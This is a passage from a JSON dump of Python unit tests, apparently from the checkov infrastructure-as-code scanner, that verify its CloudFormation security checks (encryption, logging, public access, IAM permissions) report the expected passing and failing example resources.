self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_APIGatewayXray.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.APIGatewayXray import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAPIGatewayXray(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_APIGatewayXray\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::ApiGateway::Stage.Enabled\",\n            \"AWS::Serverless::Api.Enabled\",\n        }\n        failing_resources = {\n            \"AWS::ApiGateway::Stage.Default\",\n            \"AWS::ApiGateway::Stage.Disabled\",\n            \"AWS::Serverless::Api.Default\",\n            \"AWS::Serverless::Api.Disabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_AmazonMQBrokerPublicAccess.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.AmazonMQBrokerPublicAccess import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAmazonMQBrokerPublicAccess(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AmazonMQBrokerPublicAccess\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::AmazonMQ::Broker.PrivateBroker0\",\n            \"AWS::AmazonMQ::Broker.PrivateBroker1\",\n        }\n        failing_resources = {\n            \"AWS::AmazonMQ::Broker.PublicBroker0\",\n            \"AWS::AmazonMQ::Broker.PublicBroker1\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_AppSyncFieldLevelLogs.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.cloudformation.checks.resource.aws.AppSyncFieldLevelLogs import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAppSyncLogging(unittest.TestCase):\n    def test_summary(self):\n        test_files_dir = Path(__file__).parent / \"example_AppSyncFieldLevelLogs\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::AppSync::GraphQLApi.All\",\n            \"AWS::AppSync::GraphQLApi.Error\",\n        }\n        failing_resources = {\n            \"AWS::AppSync::GraphQLApi.None\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_AppSyncLogging.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.cloudformation.checks.resource.aws.AppSyncLogging import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAppSyncLogging(unittest.TestCase):\n    def test_summary(self):\n        test_files_dir = Path(__file__).parent / \"example_AppSyncLogging\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::AppSync::GraphQLApi.Enabled\",\n        }\n        failing_resources = {\n            \"AWS::AppSync::GraphQLApi.Default\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_AthenaWorkgroupConfiguration.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.AthenaWorkgroupConfiguration import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAthenaWorkgroupConfiguration(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        # There is some internal conflicts on \"Tags\" in the Athena WG Docs. And corresponding specs.\n        # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-athena-workgroup.html\n        # This may mean that the \"Tags\" in this test data needs to correspondingly change when CF / CF Lint are updated in the future.\n        # CF Lint Issue: https://github.com/aws-cloudformation/cfn-python-lint/issues/1577\n        test_files_dir = current_dir + \"/example_AthenaWorkgroupConfiguration\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_AuroraEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.AuroraEncryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAuroraEncryption(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AuroraEncryption\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_BackupVaultEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.BackupVaultEncrypted import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestBackupVaultEncrypted(unittest.TestCase):\n    \n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/example_BackupVaultEncrypted\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        for record in report.failed_checks:\n            self.assertEqual(record.check_id, check.id)\n        \n        for record in report.passed_checks:\n            self.assertEqual(record.check_id, check.id)\n\n        passing_resources = {\n            \"AWS::Backup::BackupVault.Pass\",\n        }\n\n        failing_resources = {\n            \"AWS::Backup::BackupVault.Fail\",\n\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_BedrockAgentEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.BedrockAgentEncrypted import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestBedrockAgentEncrypted(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/example_BedrockAgentEncrypted\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        for record in report.failed_checks:\n            self.assertEqual(record.check_id, check.id)\n\n        for record in report.passed_checks:\n            self.assertEqual(record.check_id, check.id)\n\n        passing_resources = {\n            \"AWS::Bedrock::Agent.Pass\",\n        }\n\n        failing_resources = {\n            \"AWS::Bedrock::Agent.Fail\",\n\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_CloudFrontTLS12.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.CloudFrontTLS12 import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCloudFrontTLS12(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudFrontTLS12\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'AWS::CloudFront::Distribution.cloudfrontdistributionPASSED1',\n            'AWS::CloudFront::Distribution.cloudfrontdistributionPASSED2',\n            'AWS::CloudFront::Distribution.cloudfrontdistributionPASSED3',\n            'AWS::CloudFront::Distribution.cloudfrontdistributionPASSED4'\n        }\n\n        failing_resources = {\n            'AWS::CloudFront::Distribution.cloudfrontdistributionFAILED1',\n            'AWS::CloudFront::Distribution.cloudfrontdistributionFAILED2',\n            'AWS::CloudFront::Distribution.cloudfrontdistributionFAILED3',\n        }\n        \n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_CloudWatchLogGroupKMSKey.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.CloudWatchLogGroupKMSKey import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCloudWatchLogGroupKMSKey(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudWatchLogGroupKMSKey\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        for record in report.failed_checks:\n            self.assertEqual(record.check_id, check.id)\n        \n        for record in report.passed_checks:\n            self.assertEqual(record.check_id, check.id)\n\n        passing_resources = {\n            \"AWS::Logs::LogGroup.Pass\",\n        }\n\n        failing_resources = {\n            \"AWS::Logs::LogGroup.Fail\",\n\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_CloudWatchLogGroupRetention.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.CloudWatchLogGroupRetention import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCloudWatchLogGroupRetention(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudWatchLogGroupRetention\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        for record in report.failed_checks:\n            self.assertEqual(record.check_id, check.id)\n        \n        for record in report.passed_checks:\n            self.assertEqual(record.check_id, check.id)\n\n        passing_resources = {\n            \"AWS::Logs::LogGroup.Pass\",\n        }\n\n        failing_resources = {\n            \"AWS::Logs::LogGroup.Fail\",\n\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_CloudfrontDistributionEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.CloudfrontDistributionEncryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCloudfrontDistributionEncryption(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_cloudfrontDistribution\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_CloudfrontDistributionLogging.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.CloudfrontDistributionLogging import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCloudfrontDistributionLogging(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudfrontDistributionLogging\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_CloudsplainingIAMCredentialsExposure.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.IAMCredentialsExposure import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\nclass TestCloudsplainingIAMCredentialsExposure(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/Cloudsplaining_IAMCredentialsExposure\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n        self.assertEqual(report.failed_checks[0].check_id, check.id)\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertIn('Properties/PolicyDocument/Statement/[0]/Action/[0]/', report.failed_checks[0].check_result.get('evaluated_keys'))\n        self.assertIn('Properties/PolicyDocument/Statement/[0]/Action/[2]/', report.failed_checks[0].check_result.get('evaluated_keys'))\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_CloudsplainingIAMGroup.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.IAMPermissionsManagement import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n# This test is the same as for IAMPermissionsManagement but uses IAM Group test data\n# with multiple Policies to ensure that this resource type is tested but it would be\n# overkill to use all possible resources for each policy related check\n\nclass TestCloudsplainingIAMGroup(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/Cloudsplaining_IAMGroup\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n        self.assertEqual(report.failed_checks[0].check_id, check.id)\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(report.failed_checks[0].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action'])\n        self.assertEqual(report.failed_checks[1].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action/[0]/'])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_CloudsplainingIAMRole.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.IAMPermissionsManagement import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n# This test is the same as for IAMPermissionsManagement but uses IAM Role test data\n# with multiple Policies to ensure that this resource type is tested but it would be\n# overkill to use all possible resources for each policy related check\n\nclass TestCloudsplainingIAMRole(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/Cloudsplaining_IAMRole\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n        self.assertEqual(report.failed_checks[0].check_id, check.id)\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(report.failed_checks[0].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action'])\n        self.assertEqual(report.failed_checks[1].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action/[0]/'])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_CloudsplainingIAMUser.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.IAMPermissionsManagement import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n# This test is the same as for IAMPermissionsManagement but uses IAM User test data\n# with multiple Policies to ensure that this resource type is tested but it would be\n# overkill to use all possible resources for each policy related check\n\nclass TestCloudsplainingIAMUser(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/Cloudsplaining_IAMUser\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n        self.assertEqual(report.failed_checks[0].check_id, check.id)\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(report.failed_checks[0].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action'])\n        self.assertEqual(report.failed_checks[1].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action/[0]/'])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_CloudsplainingManagedPolicy.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.IAMPermissionsManagement import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n# This test is the same as for IAMPermissionsManagement but uses 'ManagedPolicy' test data\n# instead of 'Policy' data. This is to ensure some ManagedPolicy tests are exercised\n# because it would be overkill to duplicate every test with both.\n\nclass TestCloudsplainingManagedPolicy(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/Cloudsplaining_ManagedPolicy\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n        self.assertEqual(report.failed_checks[0].check_id, check.id)\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(report.failed_checks[0].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action'])\n        self.assertEqual(report.failed_checks[1].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action/[0]/'])\n        self.assertEqual(report.failed_checks[2].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action/[0]/'])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_CloudtrailEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.CloudtrailEncryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCloudtrailEncryption(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudtrailEncryption\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_CloudtrailLogValidation.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.CloudtrailLogValidation import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCloudtrailLogValidation(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudtrailLogValidation\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_CloudtrailMultiRegion.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.CloudtrailMultiRegion import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCloudtrailMultiRegion(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudtrailMultiRegion\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_CodeBuildProjectEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.CodeBuildProjectEncryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCodeBuildProjectEncryption(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CodeBuildProjectEncryption\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 3)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_CognitoUnauthenticatedIdentities.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.CognitoUnauthenticatedIdentities import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCognitoUnauthenticatedIdentities(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CognitoUnauthenticatedIdentities\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        for record in report.failed_checks:\n            self.assertEqual(record.check_id, check.id)\n        \n        for record in report.passed_checks:\n            self.assertEqual(record.check_id, check.id)\n\n        passing_resources = {\n            \"AWS::Cognito::IdentityPool.Pass\",\n        }\n\n        failing_resources = {\n            \"AWS::Cognito::IdentityPool.Fail\",\n\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_DAXEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.DAXEncryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestDAXEncryption(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DAXEncryption\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_DMSReplicationInstancePubliclyAccessible.py",
